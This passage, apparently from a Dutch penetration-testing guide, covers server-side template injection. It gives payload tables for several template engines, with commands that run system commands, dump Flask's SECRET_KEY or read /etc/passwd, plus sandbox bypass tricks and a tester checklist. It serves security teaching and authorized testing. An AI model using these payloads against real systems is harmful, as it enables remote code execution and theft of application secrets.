Pug Node.js #{7*7}=49 #{global.process.mainModule.require('child_process').execSync('id')}
ERB Ruby <%= 7*7 %>=49 <%= system('id') %>
Smarty PHP {7*7}=49 {system('id')}
Velocity Java $class.inspect("java.lang.Runtime") Via reflection chain
Thymeleaf Java *{7*7}=49, ${7*7}=49 ${T(java.lang.Runtime).getRuntime().exec('id')}

Info disclosure payloads

Engine Payload Resultaat
Jinja2 {{config\|pprint}} Flask configuratie incl. SECRET_KEY
Jinja2 {{request.environ}} Request omgevingsvariabelen
Twig {{dump(app)}} Symfony applicatie-object
Twig {{'/etc/passwd'\|file_excerpt(1,30)}} Bestandsinhoud
Freemarker ${.version} Freemarker versie
Freemarker ${.data_model} Beschikbare template variabelen

Filter bypass technieken

Techniek Voorbeeld Werkt voor
attr() filter ""\|attr("__class__") Jinja2 __ filter bypass
String concatenatie {% set x = "__cla" ~ "ss__" %} Jinja2 keyword filter bypass
Variabele toewijzing {% set cls = "__class__" %} Jinja2 directe syntax filter
Callback via reduce {{[0]\|reduce('system','id')}} Twig functie-aanroep restrictie
Callback via sort {{['id']\|sort('passthru')}} Twig functie-aanroep restrictie
?new() built-in ${"...Execute"?new()("id")} Freemarker klasse-instantiatie

7.11 Checklist voor testers

  1. Identificeer template injection punten: Test alle invoervelden, URL-parameters, headers, en formuliervelden met {{7*7}}, ${7*7}, <%= 7*7 %>, en #{7*7}.

  2. Identificeer de engine: Gebruik de beslisboom met type coercion ({{7*'7'}}). Check ook foutmeldingen voor engine-naam en versie.

  3. Info disclosure eerst: Probeer {{config|pprint}} (Jinja2), {{dump(app)}} (Twig), ${.version} (Freemarker) voor waardevolle informatie zonder RCE.

  4. RCE proberen: Gebruik de engine-specifieke payloads uit de IB command files. Begin met de eenvoudigste payload en escaleer.

  5. Sandbox testen: Als de eerste payload niet werkt, probeer filter bypass technieken: attr(), string concatenatie, alternatieve routes.

  6. Impact demonstreren: Voer id en whoami uit voor bewijs. Lees /etc/passwd of een applicatie-configuratiebestand. Bouw geen reverse shell tenzij dat in scope is.

  7. Documenteer de keten: Beschrijf de detectie, de engine- identificatie, de payload, en het resultaat stap voor stap.

IB – Gebruik de engine-specifieke command files (web_ssti_jinja, web_ssti_freemarker, web_ssti_twig, web_ssti_pug) als naslagwerk tijdens je test. Elke file is een zelfstandige referentie voor die specifieke engine, inclusief tips voor bekende kwetsbare applicaties.


In 1440 vertrouwde Gutenberg erop dat alleen hij en zijn medewerkers de drukplaten aanraakten. In 2026 vertrouwen wij erop dat gebruikers geen accolades typen. De geschiedenis leert ons dat vertrouwen geen beveiligingsmaatregel is.